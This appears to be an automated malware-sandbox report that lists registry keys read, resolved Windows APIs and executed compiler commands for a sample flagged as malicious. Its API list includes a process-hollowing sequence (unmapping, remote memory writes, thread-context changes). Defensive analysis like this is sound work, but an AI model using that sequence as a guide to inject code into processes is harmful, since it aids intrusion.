HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance\Disabled
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Classes\AppID\windows.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\AppCompat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_CURRENT_USER\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Extensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledProcesses\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\3A4F894F
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledSessions\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\FORCE_ASSEMREF_DUPCHECK
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\3A4F894F
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\FORCE_ASSEMREF_DUPCHECK
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2

Write Keys

Nothing to display

Delete Keys

Nothing to display

Mutexes

-

Resolved APIs

advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
advapi32.dll.EventRegister
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
clr.dll.SetRuntimeInfo
clr.dll._CorExeMain
mscoree.dll.CreateConfigStream
mscoreei.dll.CreateConfigStream
kernel32.dll.GetNumaHighestNodeNumber
kernel32.dll.GetSystemWindowsDirectoryW
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddSIDToBoundaryDescriptor
kernel32.dll.CreateBoundaryDescriptorW
kernel32.dll.CreatePrivateNamespaceW
kernel32.dll.OpenPrivateNamespaceW
kernel32.dll.DeleteBoundaryDescriptor
kernel32.dll.WerRegisterRuntimeExceptionModule
kernel32.dll.RaiseException
mscoree.dll.#24
mscoreei.dll.#24
ntdll.dll.NtSetSystemInformation
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
kernel32.dll.GetNativeSystemInfo
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
clrjit.dll.sxsJitStartup
clrjit.dll.getJit
kernel32.dll.CloseHandle
kernel32.dll.GetCurrentProcess
kernel32.dll.LocaleNameToLCID
kernel32.dll.LCIDToLocaleName
kernel32.dll.GetUserPreferredUILanguages
nlssorting.dll.SortGetHandle
nlssorting.dll.SortCloseHandle
kernel32.dll.GetTempPathW
ole32.dll.CoTaskMemAlloc
ole32.dll.CoTaskMemFree
kernel32.dll.GetFullPathNameW
cryptsp.dll.CryptGetDefaultProviderW
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGenRandom
kernel32.dll.SetThreadErrorMode
kernel32.dll.CreateFileW
kernel32.dll.GetFileType
kernel32.dll.WriteFile
kernel32.dll.GetFileAttributesExW
kernel32.dll.GetCurrentDirectoryW
kernel32.dll.GetStdHandle
kernel32.dll.GetEnvironmentStrings
kernel32.dll.GetEnvironmentStringsW
kernel32.dll.FreeEnvironmentStringsW
kernel32.dll.GetACP
kernel32.dll.UnmapViewOfFile
kernel32.dll.CreateProcessW
kernel32.dll.DuplicateHandle
kernel32.dll.GetExitCodeProcess
kernel32.dll.GetFileSize
kernel32.dll.ReadFile
kernel32.dll.DeleteFileW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
kernel32.dll.FindResourceA
kernel32.dll.SizeofResource
kernel32.dll.LoadResource
kernel32.dll.LockResource
gdiplus.dll.GdiplusStartup
kernel32.dll.IsProcessorFeaturePresent
user32.dll.GetWindowInfo
user32.dll.GetAncestor
user32.dll.GetMonitorInfoA
user32.dll.EnumDisplayMonitors
user32.dll.EnumDisplayDevicesA
gdi32.dll.ExtTextOutW
gdi32.dll.GdiIsMetaPrintDC
gdiplus.dll.GdipCreateBitmapFromStream
windowscodecs.dll.DllGetClassObject
kernel32.dll.WerRegisterMemoryBlock
gdiplus.dll.GdipImageForceValidation
gdiplus.dll.GdipGetImageRawFormat
gdiplus.dll.GdipGetImageWidth
gdiplus.dll.GdipGetImageHeight
gdiplus.dll.GdipBitmapGetPixel
shell32.dll.SHGetFolderPathW
kernel32.dll.CopyFileW
kernel32.dll.DeleteFileA
kernel32.dll.WideCharToMultiByte
kernel32.dll.CompareStringOrdinal
clr.dll.CreateAssemblyNameObject
ole32.dll.CoGetObjectContext
sechost.dll.LookupAccountNameLocalW
advapi32.dll.LookupAccountSidW
sechost.dll.LookupAccountSidLocalW
ole32.dll.NdrOleInitializeExtension
ole32.dll.CoGetClassObject
ole32.dll.CoGetMarshalSizeMax
ole32.dll.CoMarshalInterface
ole32.dll.CoUnmarshalInterface
ole32.dll.StringFromIID
ole32.dll.CoGetPSClsid
ole32.dll.CoCreateInstance
ole32.dll.CoReleaseMarshalData
ole32.dll.DcomChannelSetHResult
rpcrtremote.dll.I_RpcExtInitializeExtensionPoint
clr.dll.CreateAssemblyEnum
kernel32.dll.ResolveLocaleName
kernel32.dll.LoadLibraryA
kernel32.dll.GetProcAddress
kernel32.dll.GetModuleHandleA
advapi32.dll.LookupPrivilegeValueW
advapi32.dll.AdjustTokenPrivileges
ntdll.dll.NtQuerySystemInformation
kernel32.dll.CreateProcessA
kernel32.dll.GetThreadContext
kernel32.dll.Wow64GetThreadContext
kernel32.dll.SetThreadContext
kernel32.dll.Wow64SetThreadContext
kernel32.dll.ReadProcessMemory
kernel32.dll.WriteProcessMemory
ntdll.dll.NtUnmapViewOfSection
kernel32.dll.VirtualAllocEx
kernel32.dll.ResumeThread
ole32.dll.CoUninitialize
oleaut32.dll.#500
advapi32.dll.EventUnregister
gdiplus.dll.GdipDisposeImage
cryptsp.dll.CryptReleaseContext
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx
kernel32.dll.QueryActCtxW
kernel32.dll.GetProcessPreferredUILanguages
kernel32.dll.GetUserDefaultUILanguage
version.dll.GetFileVersionInfoSizeA
version.dll.GetFileVersionInfoA
version.dll.VerQueryValueA
alink.dll.CreateALink
mscoree.dll.CLRCreateInstance
mscoreei.dll.CLRCreateInstance
cryptsp.dll.CryptAcquireContextA
cryptsp.dll.CryptCreateHash
cryptsp.dll.CryptHashData
cryptsp.dll.CryptGetHashParam
cryptsp.dll.CryptDestroyHash
clr.dll.DllGetClassObjectInternal
clr.dll.StrongNameTokenFromPublicKey
clr.dll.StrongNameFreeBuffer
clr.dll.CompareAssemblyIdentityWithConfig
clr.dll.CreateAssemblyConfigCookie
clr.dll.DestroyAssemblyConfigCookie
cryptsp.dll.CryptImportKey
cryptsp.dll.CryptExportKey
cryptsp.dll.CryptDestroyKey
mscorpehost.dll.InitializeSxS
mscorpehost.dll.CreateICeeFileGen
mscorpehost.dll.DestroyICeeFileGen
ole32.dll.CoCreateGuid
diasymreader.dll.DllGetClassObject
rpcrt4.dll.UuidCreate
kernel32.dll.NlsGetCacheUpdateCount
ole32.dll.CreateStreamOnHGlobal
mscoree.dll.CorExitProcess
mscoreei.dll.CorExitProcess
user32.dll.RegisterRawInputDevices
user32.dll.GetRawInputData
uxtheme.dll.ThemeInitApiHook
user32.dll.IsProcessDPIAware

Execute Commands

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Seven01\AppData\Local\Temp\u0fo0erk.cmdline"
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Seven01\AppData\Local\Temp\RES9E14.tmp" "c:\Users\Seven01\AppData\Local\Temp\CSCA93E330DABC0451BB4AC4C832D44BB78.TMP"

Started Services

Nothing to display

Created Services

Nothing to display

#infosec #automation

TheSystem Itself @ 2018-05-29 09:48:19

Detected family: #Malicious

TheSystem Itself @ 2018-05-29 09:56:02